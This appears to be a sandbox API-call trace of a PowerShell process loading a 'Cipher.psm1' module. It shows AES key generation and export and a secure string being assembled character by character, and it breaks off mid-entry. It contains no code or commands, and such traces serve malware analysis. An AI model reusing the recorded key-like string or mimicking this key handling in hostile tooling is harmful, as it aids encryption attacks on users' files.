[0139.083] GetConsoleOutputCP () returned 0x1b5 [0139.083] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.083] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0139.084] GetConsoleOutputCP () returned 0x1b5 [0139.084] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0139.084] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0139.084] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1a494*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a1a494*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0139.085] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0139.085] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0139.089] GetConsoleOutputCP () returned 0x1b5 [0139.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0139.090] GetConsoleOutputCP () returned 0x1b5 [0139.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0139.090] GetConsoleOutputCP () returned 0x1b5 [0139.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0139.090] GetConsoleOutputCP () returned 0x1b5 [0139.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0139.091] GetConsoleOutputCP () returned 0x1b5 [0139.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.091] GetConsoleOutputCP () returned 0x1b5 [0139.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.091] GetConsoleOutputCP () returned 0x1b5 [0139.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.092] GetConsoleOutputCP () returned 0x1b5 [0139.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.092] GetConsoleOutputCP () returned 0x1b5 [0139.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.092] GetConsoleOutputCP () returned 0x1b5 [0139.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.093] GetConsoleOutputCP () returned 0x1b5 [0139.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.093] GetConsoleOutputCP () returned 0x1b5 [0139.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0139.093] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0139.094] GetConsoleOutputCP () returned 0x1b5 [0139.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0139.094] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0139.095] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1aeec*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a1aeec*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0139.095] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0139.097] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0139.102] GetConsoleOutputCP () returned 0x1b5 [0139.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.102] GetConsoleOutputCP () returned 0x1b5 [0139.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.102] GetConsoleOutputCP () returned 0x1b5 [0139.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.103] GetConsoleOutputCP () returned 0x1b5 [0139.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.103] GetConsoleOutputCP () returned 0x1b5 [0139.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.104] GetConsoleOutputCP () returned 0x1b5 [0139.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.104] GetConsoleOutputCP () returned 0x1b5 [0139.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.105] GetConsoleOutputCP () returned 0x1b5 [0139.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.105] GetConsoleOutputCP () returned 0x1b5 [0139.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.105] GetConsoleOutputCP () returned 0x1b5 [0139.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.106] GetConsoleOutputCP () returned 0x1b5 [0139.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.106] GetConsoleOutputCP () returned 0x1b5 [0139.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.107] GetConsoleOutputCP () returned 0x1b5 [0139.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.107] GetConsoleOutputCP () returned 0x1b5 [0139.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.107] GetConsoleOutputCP () returned 0x1b5 [0139.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.108] GetConsoleOutputCP () returned 0x1b5 [0139.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.108] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0139.109] GetConsoleOutputCP () returned 0x1b5 [0139.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0139.109] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.109] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1cce0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a1cce0*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0139.110] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.110] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0139.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.115] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.115] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.115] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.115] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.115] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.116] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0139.116] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.116] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.116] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.116] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.117] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0139.117] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b78) returned 1 [0139.117] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.117] CryptExportKey (in: hKey=0x8e84b78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.118] CryptExportKey (in: hKey=0x8e84b78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a26580, pdwDataLen=0x99ae894 | out: pbData=0x6a26580*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.118] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x6510\x6a2\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0139.118] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.118] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.118] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.118] SysStringLen (param_1="") returned 0x8 [0139.118] SysStringLen (param_1="1") returned 0x8 [0139.118] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.118] SysStringLen (param_1="\x8271\xaa9a\x6b24\x8902\xf4c0\x7575\x3688\xbb08") returned 0x8 [0139.118] SysStringLen (param_1="\x8271\xaa9a\x6b24\x8902\xf4c0\x7575\x3688\xbb08") returned 0x8 [0139.118] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.118] SysStringLen (param_1="1k") returned 0x8 [0139.118] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="\xc418\x1d83\x946c\x368e\x26e8\xfbc1\xad20\xcb0a") returned 0x8 [0139.119] SysStringLen (param_1="\xc418\x1d83\x946c\x368e\x26e8\xfbc1\xad20\xcb0a") returned 0x8 [0139.119] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="1k0") returned 0x8 [0139.119] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="\x4163\x1fe1\x9590\x9e4f\xc70\xa04\x9700\xa4d7") returned 0x8 [0139.119] SysStringLen (param_1="\x4163\x1fe1\x9590\x9e4f\xc70\xa04\x9700\xa4d7") returned 0x8 [0139.119] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="1k0N") returned 0x8 [0139.119] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="\x850\xef04\x9ba4\xddba\xaa5f\x8fea\x5fc2\x216a") returned 0x8 [0139.119] SysStringLen (param_1="\x850\xef04\x9ba4\xddba\xaa5f\x8fea\x5fc2\x216a") returned 0x8 [0139.119] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="1k0N8") returned 0x8 [0139.119] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.119] SysStringLen (param_1="\x3d14\x917e\x6ccc\x6e\x4cc3\xed21\xc5b9\x237f") returned 0x8 [0139.119] SysStringLen (param_1="\x3d14\x917e\x6ccc\x6e\x4cc3\xed21\xc5b9\x237f") returned 0x8 [0139.119] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="1k0N8V") returned 0x8 [0139.120] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="\xf89e\xf54\x6321\x4725\xd6ab\xcb1e\x59f6\xc92c") returned 0x8 [0139.120] SysStringLen (param_1="\xf89e\xf54\x6321\x4725\xd6ab\xcb1e\x59f6\xc92c") returned 0x8 [0139.120] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="1k0N8Vp") returned 0x8 [0139.120] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="\xba04\x9e85\xbf1e\xc74e\xd7c8\xbff0\x99d4\xfa51") returned 0x8 [0139.120] SysStringLen (param_1="\xba04\x9e85\xbf1e\xc74e\xd7c8\xbff0\x99d4\xfa51") returned 0x8 [0139.120] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="1k0N8Vpn") returned 0x8 [0139.120] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.120] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a") returned 0x8 [0139.120] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a") returned 0x8 [0139.120] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a") returned 0x8 [0139.120] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a") returned 0x10 [0139.120] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="1k0N8Vpns࢜鯹᪽䉸塀슞⊙") returned 0x10 [0139.121] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xfc1\xdcad\x3f88\x37c4\xb6ec\x674c\xab4a\x943f") returned 0x10 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xfc1\xdcad\x3f88\x37c4\xb6ec\x674c\xab4a\x943f") returned 0x10 [0139.121] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="1k0N8VpnsH鯹᪽䉸塀슞⊙") returned 0x10 [0139.121] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x2042\x65ab\xe7c5\xf484\x9801\xd6e3\xc9b1\x9710") returned 0x10 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x2042\x65ab\xe7c5\xf484\x9801\xd6e3\xc9b1\x9710") returned 0x10 [0139.121] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="1k0N8VpnsHh᪽䉸塀슞⊙") returned 0x10 [0139.121] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xaa2b\x2113\x58be\xcdfc\x6f4f\x7d9c\xf25\xa35b") returned 0x10 [0139.121] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xaa2b\x2113\x58be\xcdfc\x6f4f\x7d9c\xf25\xa35b") returned 0x10 [0139.121] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.121] SysStringLen (param_1="1k0N8VpnsHhT䉸塀슞⊙") returned 0x10 [0139.121] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x21dc\xca12\xc93d\xd4ee\x79cd\x6032\x81e7\x7500") returned 0x10 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x21dc\xca12\xc93d\xd4ee\x79cd\x6032\x81e7\x7500") returned 0x10 [0139.122] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="1k0N8VpnsHhT/塀슞⊙") returned 0x10 [0139.122] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x4cd4\xc8e7\x1f7d\x8779\xca3b\x11b4\xd532\x3ae2") returned 0x10 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x4cd4\xc8e7\x1f7d\x8779\xca3b\x11b4\xd532\x3ae2") returned 0x10 [0139.122] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="1k0N8VpnsHhT/2슞⊙") returned 0x10 [0139.122] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xf89a\xfa22\xe0fc\x5e9a\x47bf\x9801\xe28a\xe8c1") returned 0x10 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xf89a\xfa22\xe0fc\x5e9a\x47bf\x9801\xe28a\xe8c1") returned 0x10 [0139.122] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="1k0N8VpnsHhT/2G⊙") returned 0x10 [0139.122] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xc35f\xead7\xdbd3\xec16\xc429\x3d99\x5e37\xfdc5") returned 0x10 [0139.122] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\xc35f\xead7\xdbd3\xec16\xc429\x3d99\x5e37\xfdc5") returned 0x10 [0139.122] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.123] SysStringLen (param_1="1k0N8VpnsHhT/2Gr") returned 0x10 [0139.123] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.123] SysStringLen 